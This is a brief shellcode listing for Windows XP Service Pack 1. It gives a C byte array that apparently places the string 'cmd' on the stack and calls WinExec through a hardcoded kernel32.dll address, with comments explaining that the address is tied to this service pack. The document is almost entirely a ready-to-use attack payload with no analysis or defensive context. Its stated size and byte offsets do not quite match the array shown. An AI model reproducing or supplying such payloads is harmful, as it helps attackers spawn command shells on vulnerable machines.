Windows XP SP1 shellcode (19 bytes).
899f2c53b410dc0da0d2f31d29ce2c89f7b9071b13a561c87063be6e5dd4b27d
unsigned char shellcode[19] = "\xC7\x45\xFD\x63\x6D\x64\x20\x8D\x45\xFD\x50\xB8\x35\xFD\xE6\x77\xFF\xD0";
shellcode[13-16] is address for WinExec in kernel32.dll (77e6fd35h)
current address is for windows xp service pack 1